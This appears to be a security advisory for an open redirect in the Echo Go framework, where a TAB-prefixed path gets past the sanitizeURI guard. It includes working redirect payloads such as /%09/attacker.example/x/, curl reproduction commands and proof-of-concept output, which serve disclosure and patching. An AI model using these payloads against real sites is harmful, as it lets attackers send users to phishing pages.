github.com/labstack/echo/v5
Affected
- introduced
0, fixed5.4.0(semver)
Fixed versions
5.4.0
Fix
- Fixed version
5.4.0go get github.com/labstack/echo/[email protected]
Advisory
Also known as: CVE-2026-118656, GO-2026-6883
Echo has Open Redirect via Control-Character Prefix Defeating sanitizeURI
Summary
Echo's dedicated open-redirect guard, sanitizeURI, decides whether a redirect target is a local path by inspecting exactly two byte positions: uri[0] and uri[1]. If the value begins with a control character such as a tab or a newline, followed by a separator pair, the guard does not fire and the value is written to the Location header unchanged.
Browsers remove tab and newline characters from URLs before parsing them, and treat a backslash as a forward slash for HTTP and HTTPS URLs. A Location value of /\t/attacker.example is therefore resolved by the browser as an absolute URL on attacker.example. Confirmed end to end in a headless browser.
Technical background
The guard
middleware/slash.go:144 (duplicated verbatim at echo.go:958):
func sanitizeURI(uri string) string {
// double slash `\\`, `//` or even `\/` is absolute uri for browsers and by redirecting request to that uri
// we are vulnerable to open redirect attack. so replace all slashes from the beginning with single slash
if len(uri) > 1 && (uri[0] == '\\' || uri[0] == '/') && (uri[1] == '\\' || uri[1] == '/') {
uri = "/" + strings.TrimLeft(uri, `/\`)
}
return uri
}
The condition is anchored at absolute offsets 0 and 1. It cannot see a separator that has been shifted by one byte.
Data flow
RemoveTrailingSlash (middleware/slash.go:112-140) reads url.Path, which net/http has already percent-decoded, strips the trailing slash, and appends the raw query string:path := url.Path
...
if l > 0 && strings.HasSuffix(path, "/") {
path = path[:l]
uri := path
if qs != "" {
uri += "?" + qs
}
if config.RedirectCode != 0 {
return c.Redirect(config.RedirectCode, sanitizeURI(uri)) // line 132
}
AddTrailingSlash does the same in the opposite direction at middleware/slash.go:67./%09/attacker.example/x/ has url.Path equal to "/\t/attacker.example/x/" (a literal TAB byte). sanitizeURI evaluates uri[0] == '\t', the condition is false, and the value passes through untouched.Context.Redirect (context.go:735) writes it to the Location header. Go's header writer removes CR and LF but leaves TAB, which is all that is required.Conditional analysis
uri[0] and uri[1] are separators. Trust boundary: server-side sanitization of attacker-influenced path data.uri[1] being a separator) is never reached because the first condition (uri[0] being a separator) already failed.Location.Note that the newline variant does not survive: net/http replaces CR and LF in header values. TAB does survive, and TAB alone is sufficient because the browser strips it.
Proof of concept
Attached PoC: ECHO-2026-002_poc.zip (in this directory). Extract it and followECHO-2026-002/README.md for the full walkthrough. The archive contains a
self-contained Go module (go.mod, go.sum, main.go, README.md).
Quick start:
unzip ECHO-2026-002_poc.zip
cd ECHO-2026-002
# edit go.mod: point the replace directive at your Echo checkout
sed -i 's|=> .*|=> /absolute/path/to/echo|' go.mod
GOFLAGS=-mod=mod go run . # in-process check
GOFLAGS=-mod=mod go run . -serve # real listener on 127.0.0.1:18002
Environment used for verification
github.com/labstack/echo/v5)The vulnerable configuration
package main
import (
"net/http"
"github.com/labstack/echo/v5"
"github.com/labstack/echo/v5/middleware"
)
func main() {
e := echo.New()
e.Pre(middleware.RemoveTrailingSlashWithConfig(middleware.RemoveTrailingSlashConfig{
RedirectCode: http.StatusMovedPermanently,
}))
e.GET("/", func(c *echo.Context) error { return c.String(200, "home") })
_ = e.Start("127.0.0.1:18002")
}
***
Reproduction
In-process check. The program requests five path shapes and applies the browser
URL-parsing steps that matter (strip TAB, LF, CR; treat a backslash as a slash; a
leading // starts an authority):
GOFLAGS=-mod=mod go run .
GET code Location (control chars shown) browser navigates to
/normal/path/ 301 /normal/path (victim origin)
control: ordinary path, sanitized correctly
/%09/attacker.example/x/ 301 /^I/attacker.example/x attacker.example
exploit: TAB then slash
/%09%5Cattacker.example/x/ 301 /^I\attacker.example/x attacker.example
exploit: TAB then backslash
/..%09/attacker.example/ 301 /..^I/attacker.example (victim origin)
NOT exploitable: TAB is not at index 1
/%09//attacker.example/ 301 /^I//attacker.example (victim origin)
NOT exploitable: three slashes is an empty authority
RESULT: reproducible. ...
^I is a literal TAB byte. The last two rows are deliberate negatives, included
so the mechanism (the guard reads only uri[0] and uri[1]) is unambiguous.
Over the wire, with the -serve variant running on 127.0.0.1:18002:
Location on the wire. No backslash is needed for this variant:curl -s -i --max-time 5 'http://127.0.0.1:18002/%09/attacker.example/x/' | cat -A | head -3
# HTTP/1.1 301 Moved Permanently
# Location: /^I/attacker.example/x
cat -A renders the tab as ^I, confirming it is a literal byte in the header.
curl -s -i --max-time 5 'http://127.0.0.1:18002/%0A/attacker.example/x/' | cat -A | head -3
# Location: / /attacker.example/x (net/http rewrote LF to a space)
http://127.0.0.1:18002/%09/127.0.0.1:18099/x/
Observed in headless Chromium:
finalUrl: http://127.0.0.1:18099/x
The browser left the victim origin entirely, so this is a working open redirect,
not merely a suspicious header.
Exit status 0 means the finding reproduced; 1 means an expectation was
violated.
Impact
An attacker can craft a link on the victim domain that redirects the victim to an arbitrary external site. Practical consequences:
Medium Basis: The source's own band: MODERATE
0, fixed 5.4.0 (semver)5.4.0
5.4.0go get github.com/labstack/echo/[email protected]0, fixed 4.16.0 (semver)4.16.0
4.16.0go get github.com/labstack/echo/[email protected]Fix commands are the export's own generic commands. Ojuju never runs them. Check them against your setup first.
Check your own computer: guard packages check
Source: GitHub Advisory Database (reviewed advisories) · CC BY 4.0